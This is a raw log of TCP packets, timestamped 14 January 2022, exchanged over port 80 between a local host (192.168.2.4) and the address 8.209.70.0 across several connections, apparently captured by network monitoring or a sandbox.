Jan 14, 2022 12:29:21.296279907 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.313510895 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.338565111 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.355878115 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.356024981 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.356312037 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.356331110 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.373518944 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.373542070 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.478646040 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.479073048 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.479772091 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.497014046 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.523727894 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.541083097 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.541156054 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.541249037 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.541263103 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.558471918 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.686058998 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.686083078 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.686167002 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.686372995 CET	49799	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:21.703581095 CET	80	49799	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:21.983762980 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.001029968 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.001130104 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.001244068 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.001271009 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.018567085 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.121566057 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.121723890 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.121948957 CET	49800	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.139087915 CET	80	49800	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.472600937 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.489943981 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.490082979 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.490154028 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.549455881 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593559027 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593631983 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593686104 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593735933 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593765974 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.593792915 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593815088 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.593873024 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593940973 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.593991041 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.594043016 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.594050884 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.594094992 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.594152927 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.611479044 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.632947922 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633013964 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633066893 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633121014 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633156061 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633171082 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633188963 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633229017 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633289099 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633296013 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633339882 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633398056 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633450031 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633459091 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633502960 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633554935 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633604050 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633610010 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633660078 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633713007 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633728027 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633769035 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633821011 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.633882999 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633898973 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.633903027 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.651232004 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.651299000 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.651349068 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.651362896 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.651396036 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.653255939 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.672821999 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.672910929 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673006058 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.673086882 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673167944 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.673209906 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673449039 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673547029 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673607111 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673636913 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.673669100 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673753977 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673814058 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.673814058 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.673906088 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674047947 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.674077034 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674144983 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674196005 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.674341917 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674441099 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674500942 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674557924 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.674561024 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674611092 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.674623013 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674747944 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674808025 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.674866915 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.674904108 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675020933 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675123930 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675194979 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675240040 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675276995 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675317049 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675332069 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675367117 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675407887 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675415993 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675456047 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675508976 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675544024 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675559998 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675602913 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675616026 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675648928 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675690889 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675704956 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675739050 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675779104 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675791979 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675825119 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675865889 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675879002 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.675911903 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.675951004 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.676003933 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.676038980 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.676220894 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.693399906 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.693455935 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.693489075 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.693522930 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.712512970 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712569952 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712609053 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712660074 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712685108 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.712699890 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712732077 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712763071 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712794065 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712805033 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.712822914 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.712836981 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712876081 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712904930 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.712917089 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.712958097 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713009119 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713009119 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713047981 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713088036 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713119030 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713125944 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713140965 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713166952 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713205099 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713244915 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713253975 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713287115 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713323116 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713361025 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713367939 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713398933 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713434935 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713473082 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713485003 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713510990 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713550091 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713551044 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713589907 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713627100 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713665009 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713697910 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713702917 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713715076 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713742018 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713779926 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713783026 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713819027 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713879108 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713902950 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713943958 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.713995934 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.713995934 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714063883 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714103937 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714144945 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714179039 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.714181900 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714222908 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714246988 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.714315891 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714390993 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714430094 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714468002 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714505911 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714546919 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.714560032 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714577913 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.714601994 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.714662075 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.731976986 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732054949 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732098103 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732125044 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732165098 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732203960 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732229948 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732244015 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732287884 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732299089 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732330084 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732333899 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732367992 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732408047 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732434034 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732445002 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732481956 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732503891 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732520103 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732558012 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732580900 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732597113 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732636929 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732673883 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732678890 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732709885 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732712984 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732752085 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732789040 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732793093 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.732827902 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732866049 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732903957 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732943058 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.732995033 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733033895 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733036041 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733041048 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733043909 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733072042 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733108044 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733110905 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733145952 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733181953 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733191967 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733220100 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733258963 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733261108 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733297110 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733388901 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.733467102 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733508110 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733544111 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733573914 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733596087 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.733763933 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.752152920 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752202034 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752247095 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752314091 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.752510071 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752552986 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752593040 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752630949 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752670050 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752685070 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.752707958 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752746105 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752783060 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.752785921 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752824068 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752862930 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752872944 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.752903938 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752940893 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.752995968 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753000021 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753034115 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753072023 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753074884 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753113031 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753149033 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753186941 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753196955 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753226042 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753231049 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753262043 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753299952 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753304005 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753338099 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753376007 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753415108 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753421068 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753452063 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753492117 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753501892 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753530025 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753566980 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753582954 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753604889 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753643036 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753653049 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753681898 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753721952 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753757954 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753770113 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753797054 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753860950 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.753868103 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753914118 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.753950119 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754009008 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754009962 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.754050970 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754086971 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754126072 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754136086 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.754164934 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754203081 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754230976 CET	49801	80	192.168.2.4	8.209.70.0
